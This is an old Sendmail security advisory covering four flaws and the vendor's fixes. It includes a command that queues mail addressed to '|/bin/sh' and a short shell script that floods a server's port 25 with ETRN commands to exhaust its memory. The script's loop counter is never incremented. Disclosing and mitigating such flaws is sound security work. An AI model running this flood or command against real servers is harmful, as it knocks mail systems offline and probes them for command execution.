COMMAND

    sendmail

SYSTEMS AFFECTED

    munices

PROBLEM

    Michal  Zalewski  found  following.    Another  time,  quite   old
    vulnerabilities,  but,  as  no  one  haven't reported it till now,
    hopefully present in newest releases as well:

    a) Sendmail  (tested with  8.9.3 and  previous) allows  you to put
       mail  addressed  to  eg.  '|/bin/sh'  (or  any  file) into mail
       queue.  Fortunately, this  queue file should contain  also line
       like 'Croot' to  be processed properly,  while we have  no idea
       how  to  put  it  there.  But,  anyway, seems to be dangerous -
       Sendmail should reject such crap immediately:

        /usr/sbin/sendmail -O 'DeliveryMode=d' '""|/bin/sh'

      Without these  double-quotes, it  _will_  immediately drop  your
      message -  with or  without these  double-quotes the  message is
      immediately  dropped   on  redhat   linux  with   the   message.
      Apparently this  problem affects  all versions  of Sendmail, but
      only with  .cf file  left from  8.8.x or  previous releases.  In
      fact, obsolete .cf files are  quite common if Sendmail has  been
      updated by administrator -  'from hand' or from  binary packages
      like .rpm  - as  people has  not enough  time and  good will  to
      rebuild config files when replacing binary (especially if  there
      are some extensions/custom .cf settings).

    b) Into  queue  files  (qf*),  Sendmail  stores internal  delivery
       information,  user-supplied  headers  (Hxxx)  and  server-added
       headers  (H?x?xxx).   These  headers  are  handled  in  several
       different  ways,  depending  on  letter  between  '?' - but, in
       general, are  used to  store default  values for  other headers
       (like 'Date:' and 'Return-Path:').  But, headers like:

        ?D?My-Own-Header: junk

       are allowed  in messages,  and are  put in  unchanged form into
       queue files,  allowing possible  conflicts or  MTA confusion :P
       For  example,  header  '???This-Causes-Error:  test' causes odd
       error messages  during message  processing. What  does it mean?
       Probably nothing  dangerous, but  I haven't  spend enough  time
       investigating this  issue to  be sure,  maybe it's  some way to
       cause undesirable MTA behaviour.

    c) Sendmail won't  put X-Authentication-Warning header  (eg. about
       protocol  violations,  suspected  options  etc) into message if
       there's  one  already  present  -  no  matter how stupid it is.
       Minor bug.

    d) There's nice  remote Sendmail ETRN  DoS.  When  ETRN command is
       read by  Sendmail (it  shouldn't be  allowed at  all, IMHO), it
       calls  fork().   Parent  process  generates  no  output  - only
       child-generated output is sent, so parent won't be notified  on
       send()/write() failure. If we drop connection (after sending  a
       lot  of  ETRNs),  parent  process  will  stuck, doing repeately
       fork()...  sleep(5), till end  of ETRNs read into input  buffer
       is reached.  This allows  us to spawn any amount  of 'unusable'
       sendmail childs, hanging for long  period of time - and  it can
       be  done  using  low  network  bandwitch  and resources. Direct
       result - all server memory consumed (causing Linux 2.0  kernels
       to  crash  with  messages  like  'no  memory for sendmail', 'no
       memory for klogd' etc).  Unlike connect() flooding, this attack
       is generating  low traffic,  only one  connection at  time, and
       seems to be deadly harmful, unless something like:

        # maximum number of children we allow at one time
        O MaxDaemonChildren=15

       is defined in sendmail.cf (this option is disabled by default).
       The exploit follows (written for it's beautiful name):

        #!/bin/sh

        TARGET=localhost
        COUNT=150
        SLEEP=1

        echo "gurghfrbl.sh - (c) lcamtuf '99"
        echo -n "Tickle"

        while :; do
          echo -n "."
          (
            NIC=0
            while [ "$NIC" -lt "$COUNT" ]; do
              echo "ETRN x"
            done
          ) | telnet $TARGET 25 &>/dev/null &
          sleep $SLEEP
          killall -9 telnet &>/dev/null
        done

SOLUTION

    a) As  noted  above,  this  appears  only  to be possible with  an
       outdated .cf file and an  8.9.3 binary.  However, even  in this
       case,  the  address  is  not  accepted  as  there isn't a valid
       controlling user.  Sendmail team have run through the  possible
       scenarios they could find and do not believe this to a  threat.
       Also, as  people upgrade  their binaries,  they should  upgrade
       their configuration and this should not be an issue.

    b) The  next beta  version of  8.10.0 will  not have this problem.
       Given this isn't a security  problem, it will not be  fixed for
       8.9.3.

    c) This is also fixed in the next beta version of 8.10.0.

    d) MaxDaemonChildren  will avoid  this sort  of denial  of service
       attack.  However,  the fact that  sendmail buffers up  commands
       after a remote side  drops its connection is  a bug.  This  bug
       will be fixed in the next 8.10.0 beta release.